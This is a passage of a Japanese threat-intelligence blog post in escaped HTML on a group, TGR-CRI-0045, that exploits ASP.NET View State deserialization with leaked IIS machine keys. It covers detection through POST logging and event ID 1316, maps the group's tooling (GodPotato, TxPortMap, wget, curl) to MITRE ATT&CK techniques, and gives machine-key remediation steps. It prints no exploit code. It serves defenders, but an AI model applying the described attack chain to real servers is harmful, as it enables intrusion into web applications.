\u30da\u30a4\u30ed\u30fc\u30c9\u306f\u3001GET\u30ea\u30af\u30a8\u30b9\u30c8\u306eURI\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u4ecb\u3057\u3066\u914d\u4fe1\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u304c\u3001\u653b\u6483\u8005\u306f\u901a\u5e38\u3001POST\u30ea\u30af\u30a8\u30b9\u30c8\u5185\u306b__VIEWSTATE\u30d1\u30e9\u30e1\u30fc\u30bf\u3092\u542b\u3081\u307e\u3059\u3002POST\u30ea\u30af\u30a8\u30b9\u30c8\u306f\u3001\u305d\u306e\u30b5\u30a4\u30ba\u3068\u6f5c\u5728\u7684\u306a\u6a5f\u5bc6\u6027\u306e\u305f\u3081\u3001IIS\u30b5\u30fc\u30d0\u30fc\u3001\u30d7\u30ed\u30ad\u30b7\u3001\u30ed\u30fc\u30c9\u30d0\u30e9\u30f3\u30b5\u30fc\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30a2\u30d7\u30e9\u30a4\u30a2\u30f3\u30b9\u306b\u3088\u3063\u3066\u30ed\u30b0\u306b\u8a18\u9332\u3055\u308c\u308b\u3053\u3068\u306f\u307b\u3068\u3093\u3069\u3042\u308a\u307e\u305b\u3093\u3002<\/p>\n<p>POST\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u6761\u4ef6\u4ed8\u304d\u3067\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3057\u3001\u30ed\u30b0\u306b\u8a18\u9332\u3059\u308b\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u306e\u5b9f\u88c5\u3092\u691c\u8a0e\u3059\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002\u30aa\u30d7\u30b7\u30e7\u30f3\u306f\u4ee5\u4e0b\u306e\u901a\u308a\u3067\u3059\u3002<\/p>\n<ul>\n<li>\u30ab\u30b9\u30bf\u30e0 \u30ed\u30ae\u30f3\u30b0 \u30eb\u30fc\u30eb<\/li>\n<li>Web \u89b3\u6e2c\u53ef\u80fd\u6027\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af<\/li>\n<li>\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8 \u30c7\u30a3\u30c6\u30af\u30b7\u30e7\u30f3&amp;\u30ec\u30b9\u30dd\u30f3\u30b9 \u30a8\u30fc\u30b8\u30a7\u30f3\u30c8<\/li>\n<li>\u30cd\u30c3\u30c8\u30ef\u30fc\u30af \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30a2\u30d7\u30e9\u30a4\u30a2\u30f3\u30b9<\/li>\n<\/ul>\n<h4><a id=\"post-147220-_heading=h.b78pcgm26ryb\"><\/a>\u691c\u8a0e\u53ef\u80fd\u306a\u691c\u51fa\u624b\u6bb5: Windows\u30a4\u30d9\u30f3\u30c8 \u30ed\u30b0<\/h4>\n<p>Windows\u3067\u306f\u3001ASP.NET\u30a4\u30d9\u30f3\u30c8 \u30ed\u30b0\u306b\u30a4\u30d9\u30f3\u30c8ID1316\u3068\u3057\u3066View State\u306e\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u306e\u5931\u6557\u304c\u8a18\u9332\u3055\u308c\u3066\u3044\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30ed\u30b0\u3092\u78ba\u8a8d\u3057\u3001\u5931\u6557\u3057\u305fView State\u30da\u30a4\u30ed\u30fc\u30c9\u306b\u60aa\u610f\u306e\u3042\u308b\u30d0\u30a4\u30ca\u30ea\u304c\u542b\u307e\u308c\u3066\u3044\u306a\u3044\u304b\u30c1\u30a7\u30c3\u30af\u3057\u307e\u3059\u3002\u30d0\u30a4\u30ca\u30ea\u307e\u305f\u306f\u6697\u53f7\u5316\u3055\u308c\u305f\u30c7\u30fc\u30bf(View State\u306e\u6697\u53f7\u5316\u304c\u7121\u52b9\u306e\u5834\u5408)\u3092\u542b\u3080View State\u306f\u975e\u5e38\u306b\u7591\u308f\u3057\u3044\u3068\u3055\u308c\u307e\u3059\u3002<\/p>\n<h4><a id=\"post-147220-_heading=h.wrnaph6iy42l\"><\/a>\u5358\u767a\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8: \u9650\u5b9a\u7684\u306a\u30a2\u30d7\u30ed\u30fc\u30c1<\/h4>\n<p>TGR-CRI-0045 \u306f\u3001\u30b9\u30c6\u30fc\u30c8\u30ec\u30b9\u306e\u5358\u4e00\u30a2\u30bb\u30f3\u30d6\u30ea\u3092\u76f4\u63a5\u30ed\u30fc\u30c9\u3059\u308b\u3068\u3044\u3046\u3001\u5358\u7d14\u5316\u3055\u308c\u305f\u30a2\u30d7\u30ed\u30fc\u30c1\u3067 View State \u3092\u5229\u7528\u3057\u3066\u304a\u308a\u3001\u3053\u3053\u3067\u306f\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3059\u308b\u5ea6\u306b\u30a2\u30bb\u30f3\u30d6\u30ea\u306e\u518d\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3068\u518d\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u304c\u5fc5\u8981\u306b\u306a\u308a\u307e\u3059(\u4f8b\u3048\u3070\u30d5\u30a1\u30a4\u30eb\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u30a2\u30bb\u30f3\u30d6\u30ea\u3092\u8907\u6570\u56de\u5b9f\u884c\u3059\u308b\u306a\u3069)\u3002\u65b0\u3057\u3044\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u4e00\u89a7\u3084\u65b0\u3057\u3044\u30d7\u30ed\u30bb\u30b9\u3092\u5b9f\u884c\u3059\u308b\u5834\u5408\u3082\u540c\u69d8\u3067\u3059\u3002\u30a2\u30bb\u30f3\u30d6\u30ea\u30fc\u3001\u30d1\u30e9\u30e1\u30fc\u30bf\u30fc\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8 \u30b3\u30fc\u30c9\u304c\u63d0\u51fa\u3055\u308c\u3001\u5b9f\u884c\u3055\u308c\u30011\u56de\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u7d50\u679c\u304c\u8fd4\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u5358\u767a\u306e\u30a2\u30d7\u30ed\u30fc\u30c1\u306f\u3001\u653b\u6483\u8005\u304c\u4fb5\u5bb3\u3055\u308c\u305f\u30b7\u30b9\u30c6\u30e0\u3068\u3084\u308a\u3068\u308a\u3059\u308b\u80fd\u529b\u3092\u5236\u9650\u3059\u308b\u3082\u306e\u3067\u3059\u3002<\/p>\n<p>TGR-CRI-0045 \u304c View State \u3092\u60aa\u7528\u3057\u305f\u6c38\u7d9a\u7684\u306a Web\u30b7\u30a7\u30eb (\u30c7\u30a3\u30b9\u30af\u307e\u305f\u306f\u30e1\u30e2\u30ea\u306b\u30d0\u30c3 \u30af\u3055\u308c\u3066\u3044\u308b)\u3092\u30c7\u30d7\u30ed\u30a4\u3057\u306a\u3044\u5834\u5408\u3067\u3082\u3001\u9632\u5fa1\u8005\u306f\u4ee5\u4e0b\u306e\u70b9\u306b\u6ce8\u610f\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<ul>\n<li><strong>\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u653b\u6483\u306f\u3059\u3079\u3066\u30c1\u30e3\u30f3\u30b9<\/strong>\n<ul>\n<li>\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u653b\u6483\u3092\u8a66\u307f\u308b\u305f\u3073\u306b\u3001\u653b\u6483\u8005\u306f\u65e2\u5b58\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30c4\u30fc\u30eb\u3084\u30e2\u30cb\u30bf\u30ea\u30f3\u30b0\u3067\u306f\u304a\u305d\u3089\u304f\u898b\u3048\u306a\u3044\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u6a5f\u4f1a\u3092\u5f97\u307e\u3059\u3002<\/li>\n<\/ul>\n<\/li>\n<li><strong>Web\u30b7\u30a7\u30eb\u304c\u306a\u3044\u304b\u3089\u3068\u3044\u3063\u3066\u4fb5\u5bb3\u304c\u306a\u3044\u3068\u306f\u9650\u3089\u306a\u3044<\/strong>\n<ul>\n<li>Web\u30b7\u30a7\u30eb\u304c\u306a\u3044\u3053\u3068\u306f\u3001\u30b5\u30fc\u30d0\u30fc\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u306a\u3044\u3053\u3068\u3092\u793a\u3059\u3082\u306e\u3067\u306f\u3042\u308a\u307e\u305b\u3093<\/li>\n<\/ul>\n<\/li>\n<li><strong>\u518d\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u5fc5\u8981<\/strong>\n<ul>\n<li>TGR-CRI-0045\u306f\u3001\u30ea\u30af\u30a8\u30b9\u30c8\u9593\u3067\u6c38\u7d9a\u7684\u306a\u30e2\u30b8\u30e5\u30fc\u30eb\u3092\u30ed\u30fc\u30c9\u3057\u306a\u3044\u9650\u308a\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u5b9f\u884c\u3057\u305f\u3044\u305f\u3073\u306b\u30b5\u30fc\u30d0\u30fc\u3092\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059<\/li>\n<\/ul>\n<\/li>\n<li><strong>\u30b9\u30c6\u30fc\u30c8\u30d5\u30eb\u306a\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u653b\u6483\u304c\u53ef\u80fd<\/strong>\n<ul>\n<li>TGR-CRI-0045\u306f\u30b9\u30c6\u30fc\u30c8\u30ec\u30b9 \u30e2\u30b8\u30e5\u30fc\u30eb\u3092\u30c7\u30d7\u30ed\u30a4\u3057\u3066\u3044\u307e\u3059\u304c\u3001\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c\u30b9\u30c6\u30fc\u30c8\u30d5\u30eb\u306a IIS \u30dd\u30b9\u30c8 \u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8 .NET\u30a2\u30bb\u30f3\u30d6\u30ea\u3092\u30c7\u30d7\u30ed\u30a4\u3057\u3066\u3044\u308b\u4e8b\u4f8b\u304c\u6587\u66f8\u5316\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306f ASP.NET\u3068.NET\u5909\u6570\u306b\u683c\u7d0d\u3055\u308c\u305f\u30c7\u30fc\u30bf\u306b\u4f9d\u5b58\u3057\u3066\u304a\u308a\u3001Web\u51e6\u7406\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u304b\u3089\u30a2\u30af\u30bb\u30b9\u53ef\u80fd\u3067\u3042\u308a\u3001\u30ea\u30af\u30a8\u30b9\u30c8\u9593\u3067\u6c38\u7d9a\u7684\u3068\u3055\u308c\u307e\u3059\u3002<a href=\"https:\/\/www.crowdstrike.com\/en-us\/blog\/falcon-overwatch-detects-iceapple-framework\/\" target=\"_blank\" rel=\"noopener\">IceApple\u306b\u95a2\u3059\u308bCrowdStrike\u306e\u30ec\u30dd\u30fc\u30c8<\/a>\u306f\u3001\u305d\u306e\u3088\u3046\u306a\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u4e00\u4f8b\u3067\u3059\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h4><a id=\"post-147220-_heading=h.czhw6ryv3c1u\"><\/a>MITRE ATT&amp;CK\u306e\u30c6\u30af\u30cb\u30c3\u30af<\/h4>\n<ul>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1036\/005\/\" target=\"_blank\" rel=\"noopener\">T1036.005<\/a> - Masquerading:\u6b63\u5f53\u306a\u540d\u524d\u307e\u305f\u306f\u30ed\u30b1\u30fc\u30b7\u30e7\u30f3(<span style=\"font-family: 'courier new', courier, monospace;\">updf<\/span>\u30d0\u30a4\u30ca\u30ea)\u306b\u4e00\u81f4\u3059\u308b<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1036\/010\/\" target=\"_blank\" rel=\"noopener\">T1036.010<\/a> - Masquerading:\u30a2\u30ab\u30a6\u30f3\u30c8\u540d\u306e\u507d\u88c5<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1046\/\" target=\"_blank\" rel=\"noopener\">T1046<\/a>- \u30cd\u30c3\u30c8\u30ef\u30fc\u30af \u30b5\u30fc\u30d3\u30b9 \u30c7\u30a3\u30b9\u30ab\u30d0\u30ea(TxPortMap)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1059\/003\/\" target=\"_blank\" rel=\"noopener\">T1059.003<\/a> - \u30b3\u30de\u30f3\u30c9\u3068\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u30a4\u30f3\u30bf\u30fc\u30d7\u30ea\u30bf: Windows\u30b3\u30de\u30f3\u30c9\u30b7\u30a7\u30eb(<span style=\"font-family: 'courier new', courier, monospace;\">cmd.exe<\/span>)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1071\/001\/\" target=\"_blank\" rel=\"noopener\">T1071.001<\/a> - \u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u5c64\u30d7\u30ed\u30c8\u30b3\u30eb: Web\u30d7\u30ed\u30c8\u30b3\u30eb(HTTP View State)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1082\/\" target=\"_blank\" rel=\"noopener\">T1082<\/a> - \u30b7\u30b9\u30c6\u30e0\u60c5\u5831\u691c\u51fa(<span style=\"font-family: 'courier new', courier, monospace;\">systeminfo\u3001ipconfig<\/span>)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1105\/\" target=\"_blank\" rel=\"noopener\">T1105<\/a> - \u30a4\u30f3\u30b0\u30ec\u30b9 \u30c4\u30fc\u30eb\u8ee2\u9001(<span style=\"font-family: 'courier new', courier, monospace;\">wget, curl<\/span>)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1134\/001\/\" target=\"_blank\" rel=\"noopener\">T1134.001<\/a> - \u30a2\u30af\u30bb\u30b9\u30c8\u30fc\u30af\u30f3\u64cd\u4f5c: \u30c8\u30fc\u30af\u30f3\u306e\u306a\u308a\u3059\u307e\u3057\/\u7a83\u53d6(<span style=\"font-family: 'courier new', courier, monospace;\">updf<\/span>\u306eGodPotato\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1136\/001\/\" target=\"_blank\" rel=\"noopener\">T1136.001<\/a> - \u30a2\u30ab\u30a6\u30f3\u30c8\u4f5c\u6210:\u30ed\u30fc\u30ab\u30eb \u30a2\u30ab\u30a6\u30f3\u30c8(<span style=\"font-family: 'courier new', courier, monospace;\">updf<\/span>)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1190\/\" target=\"_blank\" rel=\"noopener\">T1190<\/a> - \u516c\u958b\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u60aa\u7528(View State\u306e\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1217\/\" target=\"_blank\" rel=\"noopener\">T1217<\/a> - \u30d6\u30e9\u30a6\u30b6\u60c5\u5831\u306e\u767a\u898b<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1505\/003\/\" target=\"_blank\" rel=\"noopener\">T1505.003<\/a> - Web\u30b7\u30a7\u30eb(<span style=\"font-family: 'courier new', courier, monospace;\">web.config<\/span>\u306e\u6f5c\u5728\u7684\u306a\u5909\u66f4)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1572\/\" target=\"_blank\" rel=\"noopener\">T1572<\/a> - \u30d7\u30ed\u30c8\u30b3\u30eb \u30c8\u30f3\u30cd\u30ea\u30f3\u30b0(\u4f7f\u7528\u3055\u308c\u308b\u5834\u5408\u3001\u672a\u56de\u5fa9\u30d5\u30a1\u30a4\u30eb \u30c0\u30a6\u30f3\u30ed\u30fc\u30c9 \u30e2\u30b8\u30e5\u30fc\u30eb\u306b\u30a4\u30f3\u30dd\u30fc\u30c8\u3055\u308c\u305f\u95a2\u6570\u306b\u57fa\u3065\u304f\uff09<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1587\/001\/\" target=\"_blank\" rel=\"noopener\">T1587.001<\/a> - \u30de\u30eb\u30a6\u30a7\u30a2<\/li>\n<\/ul>\n<h3><a id=\"post-147220-_heading=h.azj6oost75o7\"><\/a>\u4fee\u5fa9\u3068\u30cf\u30fc\u30c9\u5316\u306e\u30ac\u30a4\u30c0\u30f3\u30b9<\/h3>\n<h4><a id=\"post-147220-_heading=h.cd94odsdhaj\"><\/a>\u30de\u30b7\u30f3 \u30ad\u30fc<\/h4>\n<p>IIS\u30de\u30b7\u30f3 \u30ad\u30fc\u306f\u3001\u30af\u30e9\u30a4\u30a2\u30f3\u30c8 \u30b5\u30fc\u30d0\u30fc \u30c7\u30fc\u30bf\u306e\u8a8d\u8a3c\u3068\u6697\u53f7\u5316\u306b\u4f7f\u7528\u3055\u308c\u308b\u57fa\u672c\u7684\u306a\u6697\u53f7\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3067\u3059\u3002\u3053\u308c\u3089\u306f\u3001View State\u306e\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3092\u60aa\u7528\u3059\u308b\u3046\u3048\u3067\u4e0d\u53ef\u6b20\u3068\u3055\u308c\u307e\u3059\u3002<\/p>\n<p>View State\u306e\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u306e\u60aa\u7528\u304c\u7591\u308f\u308c\u308b\u5834\u5408\u3001IIS\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u95a2\u3057\u3066\u4ee5\u4e0b\u306e\u9805\u76ee\u3092\u30c1\u30a7\u30c3\u30af\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/p>\n<ul>\n<li>View State\u30e1\u30c3\u30bb\u30fc\u30b8\u8a8d\u8a3c\u30b3\u30fc\u30c9(MAC)\u304c\u6709\u52b9\u306b\u306a\u3063\u3066\u3044\u306a\u3044\u3053\u3068\n<ul>\n<li>\u3053\u308c\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">web.config<\/span>\u3068<span style=\"font-family: 'courier new', courier, monospace;\">machine.config<\/span>\u3067<span style=\"font-family: 'courier new', courier, monospace;\"><a href=\"https:\/\/devblogs.microsoft.com\/dotnet\/farewell-enableviewstatemac\/\" target=\"_blank\" rel=\"noopener\">&lt;pages enableViewStateMac=\"False\" \/&gt;<\/a><\/span>\u3092\u691c\u7d22\u3059\u308b\u3053\u3068\u3067\u5b9f\u884c\u53ef\u80fd\u3067\u3059\u3002<\/li>\n<\/ul>\n<\/li>\n<li>\u6f0f\u6d29\u3057\u305f\u30de\u30b7\u30f3 \u30ad\u30fc\u306e\u4f7f\u7528<\/li>\n<li>\u30de\u30b7\u30f3 \u30ad\u30fc\u304c\u76d7\u307e\u308c\u3066\u3044\u306a\u3044\u304b<\/li>\n<\/ul>\n<p>4\u3064\u306e\u30b1\u30fc\u30b9\u3092\u60f3\u5b9a\u3057\u305f\u30ac\u30a4\u30c9\u3092\u4ee5\u4e0b\u306e\u901a\u308a\u793a\u3057\u307e\u3059\u3002<\/p>\n<ul>\n<li>View State MAC\u7f72\u540d\u304c\u7121\u52b9\u306b\u306a\u3063\u3066\u3044\u308b\u5834\u5408\u306f\u3001\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u5b89\u5b9a\u6027\u3092\u30c6\u30b9\u30c8\u3057\u305f\u5f8c\u306b\u6709\u52b9\u306b\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/li>\n<li>View State MAC\u7f72\u540d\u304c\u6709\u52b9\u3067\u3001\u9759\u7684\u306a\u30de\u30b7\u30f3\u9375\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u5834\u5408\u3001\u9375\u304c\u6f0f\u6d29\u3057\u3066\u3044\u308b\u3068\u8003\u3048\u3066\u304f\u3060\u3055\u3044\u3002<a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2025\/02\/06\/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys\/\" target=\"_blank\" rel=\"noopener\">Microsoft<\/a>\u307e\u305f\u306f<a href=\"https:\/\/zeroed.tech\/blog\/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited\/\" target=\"_blank\" rel=\"noopener\">Zeroed.Tech<\/a>\u306e\u30ac\u30a4\u30c0\u30f3\u30b9\u306b\u5f93\u3063\u3066\u4fee\u5fa9\u3057\u3066\u304f\u3060\u3055\u3044\u3002<\/li>\n<li>f View State MAC\u7f72\u540d\u304c\u6709\u52b9\u3067\u3001<a href=\"https:\/\/github.com\/NotSoSecure\/Blacklist3r\/blob\/master\/MachineKey\/AspDotNetWrapper\/AspDotNetWrapper\/Resource\/MachineKeys.txt\" target=\"_blank\" rel=\"noopener\">Blacklist3r<\/a>\u306a\u3069\u306e\u65e2\u77e5\u306e\u5371\u967a\u306a\u30ea\u30b9\u30c8\u306b\u3042\u308b\u9759\u7684\u30de\u30b7\u30f3 \u30ad\u30fc\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u5834\u5408: \u4e0a\u8a18\u306eMicrosoft\u306e\u30ac\u30a4\u30c0\u30f3\u30b9\u306b\u5f93\u3063\u3066\u30ad\u30fc\u3092\u30ea\u30bb\u30c3\u30c8\u3057\u3001\u65b0\u3057\u3044\u30ad\u30fc\u304c\u3053\u306e\u62d2\u5426\u30ea\u30b9\u30c8\u306b\u306a\u3044\u3053\u3068\u3092\u78ba\u8a8d\u3059\u308b\u3002<\/li>\n<li>View State MAC\u7f72\u540d\u304c\u6709\u52b9\u3067\u3001\u52d5\u7684\u306a\u30de\u30b7\u30f3 \u30ad\u30fc\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u5834\u5408\u306f\u3001\u9375\u304c\u5371\u6b86\u5316\u3057\u305f\u3068\u307f\u306a\u3057\u3001IIS Server Manager\u3067\u9375\u3092\u518d\u751f\u6210\u3057\u307e\u3059\u3002<\/li>\n<\/ul>\n<p><a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2025\/02\/06\/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys\/\" target=\"_blank\" rel=\"noopener\">Microsoft\u306e\u4fee\u6b63\u306b\u95a2\u3059\u308b\u30ac\u30a4\u30c0\u30f3\u30b9<\/a>\u3092\u53c2\u7167\u3059\u308b\u3053\u3068\u3092\u5f37\u304f\u304a\u52e7\u3081\u3057\u307e\u3059\u3002<\/p>\n<h2><a id=\"post-147220-_heading=h.9nmmpmfjh9a\"><\/a>\u7d50\u8ad6<\/h2>\n<p>\u8abf\u67fb\u306b\u3088\u308a\u3001TGR-CRI-0045\u304c\u6c38\u7d9a\u7684\u30a2\u30af\u30bb\u30b9\u306e\u305f\u3081\u306b\u30a4\u30f3\u30e1\u30e2\u30eaIIS\u6280\u8853\u3092\u3069\u306e\u3088\u3046\u306b\u6d3b\u7528\u3057\u3066\u3044\u308b\u304b\u304c\u660e\u3089\u304b\u306b\u306a\u308a\u307e\u3057\u305f\u3002\u516c\u958b\u3055\u308c\u305f\u30de\u30b7\u30f3 \u30ad\u30fc\u3092\u4ecb\u3057\u3066ASP.NET\u306eView State\u306e\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30bc\u30fc\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u3053\u3068\u3067\u3001\u653b\u6483\u8005\u306f\u30c7\u30a3\u30b9\u30af\u4e0a\u306e\u75d5\u8de1\u3092\u6700\u5c0f\u9650\u306b\u6291\u3048\u3001\u9577\u671f\u7684\u306a\u30a2\u30af\u30bb\u30b9\u3092\u53ef\u80fd\u306b\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>Microsoft\u304c\u6982\u8aac\u3057\u305f\u3088\u3046\u306b\u3001\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u306e\u5834\u5f53\u305f\u308a\u7684\u306a\u6a19\u7684\u8a2d\u5b9a\u3068\u7d99\u7d9a\u7684\u306a\u30c4\u30fc\u30eb\u958b\u767a\u306f\u3001\u7d44\u7e54\u304c\u4fb5\u5bb3\u3055\u308c\u305f\u30de\u30b7\u30f3 \u30ad\u30fc\u306e\u7279\u5b9a\u3068\u4fee\u5fa9\u3092\u512a\u5148\u3059\u308b\u5fc5\u8981\u6027\u3092\u6d6e\u304d\u5f6b\u308a\u306b\u3059\u308b\u3082\u306e\u3067\u3059\u3002\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u5358\u767a\u3067\u3042\u308b\u3053\u3068\u306e\u6027\u8cea\u3068\u5f93\u6765\u306e\u9060\u9694\u8a08\u6e2c\u306e\u9650\u754c\u306f\u3001\u6761\u4ef6\u4ed8\u304dPOST\u30ea\u30af\u30a8\u30b9\u30c8 \u30ed\u30ae\u30f3\u30b0\u3068\u6ce8\u610f\u6df1\u3044ASP.NET\u30a4\u30d9\u30f3\u30c8\u30ed\u30b0\u89e3\u6790\u306e\u5fc5\u8981\u6027\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u5bfe\u7b56\u306f\u3001\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8 \u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u304c\u3053\u306e\u3088\u3046\u306a\u653b\u6483\u3092\u53ef\u8996\u5316\u3067\u304d\u306a\u3044\u5834\u5408\u306b\u3001\u691c\u51fa\u3068\u5bfe\u5fdc\u3092\u652f\u63f4\u3059\u308b\u3082\u306e\u3067\u3059\u3002<\/p>\n<h3><a id=\"post-147220-_heading=h.96775prv96tf\"><\/a>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u4fdd\u8b77\u3068\u7de9\u548c\u7b56<\/h3>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u4ee5\u4e0b\u306e\u88fd\u54c1\u3092\u901a\u3058\u3066\u3001\u4e0a\u8a18\u306e\u8105\u5a01\u306b\u5bfe\u3059\u308b\u78ba\u5b9f\u306a\u4fdd\u8b77\u3092\u69cb\u7bc9\u3044\u305f\u3060\u3051\u307e\u3059\u3002<\/p>\n<ul>\n<li><a href=\"https:\/\/docs.paloaltonetworks.com\/wildfire\" target=\"_blank\" rel=\"noopener\">Advanced WildFire<\/a> \u306e\u6a5f\u68b0\u5b66\u7fd2\u30e2\u30c7\u30eb\u3068\u5206\u6790\u6280\u8853\u306f\u3001\u672c\u7814\u7a76\u3067\u5171\u6709\u3055\u308c\u305f\u30a4\u30f3\u30b8\u30b1\u30fc\u30bf\u30fc\u306b\u7167\u3089\u3057\u3066\u898b\u76f4\u3055\u308c\u3001\u66f4\u65b0\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/li>\n<li><a href=\"https:\/\/docs.paloaltonetworks.com\/advanced-url-filtering\/administration\" target=\"_blank\" rel=\"noopener\">Advanced URL Filtering<\/a> \u305d\u3057\u3066 <a href=\"https:\/\/docs.paloaltonetworks.com\/dns-security\" target=\"_blank\" rel=\"noopener\">Advanced DNS Security<\/a>\u3053\u306e\u6d3b\u52d5\u306b\u95a2\u9023\u3059\u308b\u65e2\u77e5\u306e\u30c9\u30e1\u30a4\u30f3\u3084URL\u3092\u60aa\u610f\u306e\u3042\u308b\u3082\u306e\u3068\u3057\u3066\u7279\u5b9a\u3059\u308b\u3002<\/li>\n<\/ul>\n<h4><a id=\"post-147220-_heading=h.29ujt42dj36p\"><\/a>XDR\u3068XSIAM\u306eIIS\u4fdd\u8b77<\/h4>\n<p><a href=\"https:\/\/docs-cortex.paloaltonetworks.com\/p\/XDR\" target=\"_blank\" rel=\"noopener\">Cortex XDR<\/a>\u304a\u3088\u3073<a href=\"https:\/\/docs-cortex.paloaltonetworks.com\/p\/XSIAM\" target=\"_blank\" rel=\"noopener\">XSIAM<\/a> IIS\u4fdd\u8b77\u30e2\u30b8\u30e5\u30fc\u30eb\u306f\u3001\u3053\u306e\u30d6\u30ed\u30b0\u3067\u8aac\u660e\u3057\u305f\u3088\u3046\u306b\u3001View State\u306e\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30ba\u3092\u691c\u51fa\u304a\u3088\u3073\u9632\u6b62\u3059\u308b\u6a5f\u80fd\u3092\u5099\u3048\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30e2\u30b8\u30e5\u30fc\u30eb\u306f\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u6709\u52b9\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u60c5\u5831\u6f0f\u3048\u3044\u306e\u53ef\u80fd\u6027\u304c\u3042\u308b\u5834\u5408\u3001\u307e\u305f\u306f\u7dca\u6025\u306e\u6848\u4ef6\u304c\u3042\u308b\u5834\u5408\u306f\u3001<a 